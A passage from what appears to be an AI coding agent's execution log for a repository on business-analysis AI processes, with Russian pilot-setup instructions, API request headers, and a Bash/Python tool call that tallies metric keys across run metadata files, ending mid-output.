support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n4. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439** \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 MCP \u0434\u043b\u044f Jira/Confluence \u0447\u0435\u0440\u0435\u0437 Cline MCP Servers \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 `tools/list`/\u043f\u0440\u043e\u0431\u043d\u044b\u0439 read-only \u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0438 issue. \u041f\u043e\u043a\u0430 MCP \u043d\u0435 \u0432\u044b\u0434\u0430\u043d, BA \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB, \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b \u0438 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443. Model API key \u043d\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432 MCP \u043a\u0430\u043a \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c.\\n5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n\\n## \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b 2 \u043f\u043e review PR #616 (2026-09-26)\\n\\n=== docs/rfc/2026-09-source-pilot-verification.md\\n\\n# RFC: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline\\n\\n## RFC Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| Owner | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0432 [issue #630](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/630); \u0434\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f \u043d\u0443\u0436\u0435\u043d \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0438\u043b\u043e\u0442\u0430 |\\n| RFC status | \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d \u043a review; \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n| Source issue | [#630](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/630) |\\n| Impacted artifacts | `projects/ba-ai-process/ba-meta-model/`, `build/common/`, `build/adapters/cline-vscode/`, \u043e\u0431\u0430 `dist/execution-package-*`, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u2014 **\u043f\u043e\u0441\u043b\u0435** \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043d\u0435 \u0432 \u044d\u0442\u043e\u043c PR |\\n| Decision record | [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0437\u0430\u0434\u0430\u0451\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443; \u043d\u043e\u0432\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 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preload\",\n[2026-09-29T07:45:16.826Z] [STDOUT]     traceresponse: \"00-6039f8c8d94f214875f902aaf772d5ce-039e3061f439ac2b-01\",\n[2026-09-29T07:45:16.830Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:16.835Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:16.838Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:16.842Z] [STDOUT]   },\n[2026-09-29T07:45:16.847Z] [STDOUT]   durationMs: 925,\n[2026-09-29T07:45:16.852Z] [STDOUT] }\n[2026-09-29T07:45:16.855Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:16.859Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:16 GMT\",\n[2026-09-29T07:45:16.865Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:16.868Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:16.878Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:16.884Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:16.891Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:16.895Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:16.903Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:16.908Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:16.913Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:16.919Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:16.925Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:16.928Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:16.933Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:16.936Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:16.939Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:16.943Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:16.948Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:16.951Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:16.955Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:16.957Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:16.962Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:16.965Z] [STDOUT]   \"request-id\": \"req_011CfXMk6JW5fB2CfUffLfSG\",\n[2026-09-29T07:45:16.967Z] [STDOUT]   \"traceresponse\": \"00-6039f8c8d94f214875f902aaf772d5ce-039e3061f439ac2b-01\",\n[2026-09-29T07:45:16.970Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:16.974Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:16.978Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:16.981Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:16.985Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:16.990Z] [STDOUT]   \"cf-ray\": \"a4295e0978804d8b-FRA\",\n[2026-09-29T07:45:16.996Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:17.001Z] [STDOUT] [log_f276cb] response parsed {\n[2026-09-29T07:45:17.018Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:17.030Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:17.038Z] [STDOUT]   body: X {\n[2026-09-29T07:45:17.053Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:17.061Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:17.066Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:17.074Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:17.076Z] [STDOUT]     },\n[2026-09-29T07:45:17.085Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:17.093Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:17.099Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:17.103Z] [STDOUT]   },\n[2026-09-29T07:45:17.115Z] [STDOUT]   durationMs: 925,\n[2026-09-29T07:45:17.154Z] [STDOUT] }\n[2026-09-29T07:45:17.534Z] [INFO] {\n[2026-09-29T07:45:17.534Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"message\": {\n[2026-09-29T07:45:17.534Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"id\": \"msg_011CfXMjvsy4h4mdFcahKVfX\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:17.534Z] [INFO]     \"content\": [\n[2026-09-29T07:45:17.534Z] [INFO]       {\n[2026-09-29T07:45:17.534Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:17.534Z] [INFO]         \"id\": \"toolu_01Uf9F7ExiPva4DpDcfuZVyv\",\n[2026-09-29T07:45:17.534Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:17.534Z] [INFO]         \"input\": {\n[2026-09-29T07:45:17.534Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,json,collections\\nkeys=collections.Counter()\\ndef flat(d,p=''):\\n    out={}\\n    if isinstance(d,dict):\\n        for k,v in d.items(): out.update(flat(v,p+k+'.'))\\n    else: out[p[:-1]]=d\\n    return out\\nallf={}\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    m=d.get('metrics') or {}\\n    fl=flat(m)\\n    allf[d['run_id']]=fl\\n    keys.update(fl.keys())\\nfor k,v in keys.most_common(): print(v,k)\\njson.dump(allf,open('/tmp/runs_metrics.json','w'),ensure_ascii=False,default=str,indent=1)\\nEOF\",\n[2026-09-29T07:45:17.534Z] [INFO]           \"description\": \"Survey metrics keys across runs\"\n[2026-09-29T07:45:17.534Z] [INFO]         },\n[2026-09-29T07:45:17.534Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:17.534Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:17.534Z] [INFO]         }\n[2026-09-29T07:45:17.534Z] [INFO]       }\n[2026-09-29T07:45:17.534Z] [INFO]     ],\n[2026-09-29T07:45:17.534Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:17.534Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:17.534Z] [INFO]       \"cache_creation_input_tokens\": 1241,\n[2026-09-29T07:45:17.534Z] [INFO]       \"cache_read_input_tokens\": 49626,\n[2026-09-29T07:45:17.534Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:17.534Z] [INFO]         \"ephemeral_5m_input_tokens\": 1241,\n[2026-09-29T07:45:17.534Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:17.534Z] [INFO]       },\n[2026-09-29T07:45:17.534Z] [INFO]       \"output_tokens\": 9,\n[2026-09-29T07:45:17.534Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:17.534Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:17.534Z] [INFO]     },\n[2026-09-29T07:45:17.534Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:17.534Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:17.534Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:17.534Z] [INFO]   },\n[2026-09-29T07:45:17.534Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"uuid\": \"404ed598-f435-4827-9b80-d9110c3be68a\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:17.521Z\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"request_id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:17.534Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:17.534Z] [INFO] }\n[2026-09-29T07:45:17.542Z] [INFO] {\n[2026-09-29T07:45:17.542Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"description\": \"Running Survey metrics keys across runs\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:17.542Z] [INFO]     \"total_tokens\": 51493,\n[2026-09-29T07:45:17.542Z] [INFO]     \"tool_uses\": 13,\n[2026-09-29T07:45:17.542Z] [INFO]     \"duration_ms\": 55239\n[2026-09-29T07:45:17.542Z] [INFO]   },\n[2026-09-29T07:45:17.542Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"uuid\": \"f097197a-13b5-46ef-8895-86dcd4bdbf1c\",\n[2026-09-29T07:45:17.542Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:17.542Z] [INFO] }\n[2026-09-29T07:45:17.919Z] [INFO] {\n[2026-09-29T07:45:17.919Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"message\": {\n[2026-09-29T07:45:17.919Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:17.919Z] [INFO]     \"content\": [\n[2026-09-29T07:45:17.919Z] [INFO]       {\n[2026-09-29T07:45:17.919Z] [INFO]         \"tool_use_id\": \"toolu_019djYenrnVc4qMyz69PwUHc\",\n[2026-09-29T07:45:17.919Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:17.919Z] [INFO]         \"content\": \"research/ba-requirements/artifact-micro-structure/10-theory.md\\nresearch/ba-requirements/README.md\\nresearch/ba-requirements/normalization/10-theory.md\\nresearch/ba-requirements/normalization/30-decision-framework.md\\nresearch/ba-requirements/normalization/00-introduction.md\\nresearch/ba-requirements/exp/ba-methodology-unification-557/knowledge-inventory.json\\n---\\nresearch/ba-requirements/methodology-unification/50-open-research.md\\nresearch/ba-requirements/methodology-unification/40-practice-and-cases.md\\n---\",\n[2026-09-29T07:45:17.919Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:17.919Z] [INFO]       }\n[2026-09-29T07:45:17.919Z] [INFO]     ]\n[2026-09-29T07:45:17.919Z] [INFO]   },\n[2026-09-29T07:45:17.919Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"uuid\": \"01e17a18-e627-4627-b7e0-8db234be6763\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:17.917Z\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:17.919Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:17.919Z] [INFO] }\n[2026-09-29T07:45:17.949Z] [STDOUT] [log_9b307f] sending request {\n[2026-09-29T07:45:17.956Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:17.959Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:17.961Z] [STDOUT]   options: {\n[2026-09-29T07:45:17.965Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:17.967Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:17.972Z] [STDOUT]     body: {\n[2026-09-29T07:45:17.975Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:17.979Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:17.986Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:17.990Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:17.993Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:17.996Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:18.002Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:18.008Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:18.012Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:18.016Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:18.022Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:18.024Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:18.029Z] [STDOUT]     },\n[2026-09-29T07:45:18.030Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:18.032Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:18.035Z] [STDOUT]       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\u0420\u0435\u0448\u0435\u043d\u0438\u0435\\\\|^## Result\\\\|^## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\\\|^## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\\\|^## Summary\\\" $f; sed -n 30,75p $f | cut -c1-600\",\n[2026-09-29T07:45:19.282Z] [INFO]       \"description\": \"Locate decision sections\"\n[2026-09-29T07:45:19.282Z] [INFO]     }\n[2026-09-29T07:45:19.282Z] [INFO]   },\n[2026-09-29T07:45:19.282Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:45:19.282Z] [INFO]     \"toolu_01XCLg7LicwvUvhJ2CtFHXGL\": {\n[2026-09-29T07:45:19.282Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process\"\n[2026-09-29T07:45:19.282Z] [INFO]     }\n[2026-09-29T07:45:19.282Z] [INFO]   }\n[2026-09-29T07:45:19.282Z] [INFO] }\n[2026-09-29T07:45:19.401Z] [INFO] {\n[2026-09-29T07:45:19.401Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:19.401Z] [INFO]   \"message\": {\n[2026-09-29T07:45:19.401Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:19.401Z] [INFO]     \"content\": [\n[2026-09-29T07:45:19.401Z] [INFO]       {\n[2026-09-29T07:45:19.401Z] [INFO]         \"tool_use_id\": \"toolu_01Uf9F7ExiPva4DpDcfuZVyv\",\n[2026-09-29T07:45:19.401Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:19.401Z] [INFO]         \"content\": \"51 eval\\n45 token_method\\n42 episodes\\n42 duration_active_s\\n38 iterations\\n38 tokens_output\\n36 tokens_thinking\\n35 turns\\n35 tokens_input\\n33 tokens_dialog_total\\n28 sessions\\n27 dialog_start_utc\\n27 dialog_end_utc\\n27 calendar_days\\n27 attachments_distinct\\n19 success_rate\\n18 verdict\\n17 success_rate_basis\\n11 hallucinations\\n11 hallucinations_shipped\\n11 duration_wall_clock_s\\n10 ba_edits\\n10 quality\\n9 duration_generation_s\\n8 measured\\n5 user_turns\\n5 assistant_turns\\n5 duration_h\\n5 window_utc\\n5 source_rows\\n4 output_tokens\\n4 reasoning_tokens\\n4 max_context_tokens\\n3 tokens_context_in_max\\n3 tokens_context_refeed_sum\\n3 duration_s\\n3 input_tokens\\n3 total_tokens\\n3 tokens_context_refeed_estimate\\n3 web_tool_calls\\n3 source_workbooks\\n3 assessed_requirements\\n3 verdicts_yes\\n3 verdicts_partial\\n3 verdicts_no\\n3 verdicts_empty\\n3 atomic_citations\\n2 episodes_works\\n2 episodes_works_with_edits\\n2 episodes_fails\\n2 ba_corrections\\n2 false_citations\\n2 tokens_reasoning\\n2 tokens_total\\n2 sources_studied\\n2 kb_sections_read\\n2 requirements_assessed\\n2 functional_requirements\\n2 worksheet_extent\\n2 template_v4_matches_over_90\\n1 source\\n1 started_at\\n1 finished_at\\n1 duration_seconds\\n1 tokens.input\\n1 tokens.output\\n1 tokens.total\\n1 tokens.reasoning\\n1 tokens.cached\\n1 steps_planned\\n1 steps_completed\\n1 eval.verdict\\n1 eval.quality\\n1 eval.target_artifact\\n1 eval.defects\\n1 eval.factual_distortions\\n1 episodes_accepted_as_is\\n1 input_tokens_max_per_call\\n1 input_tokens_sum\\n1 duration_active_minutes\\n1 duration_calendar_days\\n1 pages_extracted_ok\\n1 web_sources_returned\\n1 hh_api_docs_read\\n1 critical_gaps\\n1 requirements_form_rows\\n1 requirements_group_headers\\n1 coverage_l1\\n1 coverage_l1_partial\\n1 coverage_l2_twin\\n1 coverage_l3_sa\\n1 coverage_none\\n1 discrepancies_with_vendor_answers\\n1 vendor_questions\\n1 pilot_spikes\\n1 hh_api_operations_read\\n1 hh_api_schemas_read\\n1 requirements_reassessed\\n1 gaps_closed\\n1 gaps_remaining\\n1 new_gaps\\n1 high_risk_gaps\\n1 paths_compared\\n1 circuit_breaker\\n1 mango_sections_read\\n1 sequence_diagrams\\n1 mapping_rows\\n1 json_examples\\n1 internal_contract_gaps\\n1 options_compared\\n1 hypotheses_inherited_unverified\\n1 ft_sections\\n1 ft_subclauses_assessed\\n1 footnote_sources\\n1 activity_diagrams\\n1 gaps_confirmed\\n1 gaps_new\\n1 l2_corrections\\n1 spec_operations_indexed\\n1 spec_sha256\\n1 links_checked_dialog\\n1 links_with_anchor\\n1 links_section_resolved\\n1 wiki_pages_checked\\n1 wiki_pages_available\\n1 wiki_pages_with_anchors\\n1 upper_level_requirements\\n1 use_cases\\n1 expert_gates\\n1 classified_errors\\n1 acceptance_scenarios\\n1 sla_rows\\n1 